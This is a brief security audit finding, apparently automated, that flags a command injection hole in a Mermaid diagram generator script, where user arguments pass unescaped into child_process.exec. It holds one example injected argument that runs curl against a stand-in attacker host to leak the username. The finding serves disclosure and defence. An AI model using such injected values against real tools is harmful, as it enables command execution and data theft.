mermaid-diagram-generator
Fail
Audited by Gen Agent Trust Hub on Oct 9, 2026
Risk Level: HIGHCOMMAND_EXECUTION
Full Analysis
- [COMMAND_EXECUTION]: The script
scripts/generate_diagram.jscontains a critical command injection vulnerability in its handling of command-line arguments. - The script constructs a shell command to invoke the
mmdc(Mermaid CLI) utility by interpolating several variables directly into a command string:const cmd =mmdc ${cmdArgs.join(' ')};. - The variables used in
cmdArgs, specificallyoutputFile(derived from--outputor-o),scale(--scale),background(--background), andtheme(--theme), are taken directly from user-provided command-line arguments without any sanitization, escaping, or validation. - Because the command is executed using
child_process.exec, which spawns a shell, an attacker can inject shell metacharacters (such as;,&,|, or backticks) into these arguments to execute arbitrary system commands. For example, providing--output="; curl http://attacker.com/$(whoami) ;"would cause the shell to execute the curl command alongside the intended diagram generation.
Recommendations
- AI detected serious security threats
Audit Metadata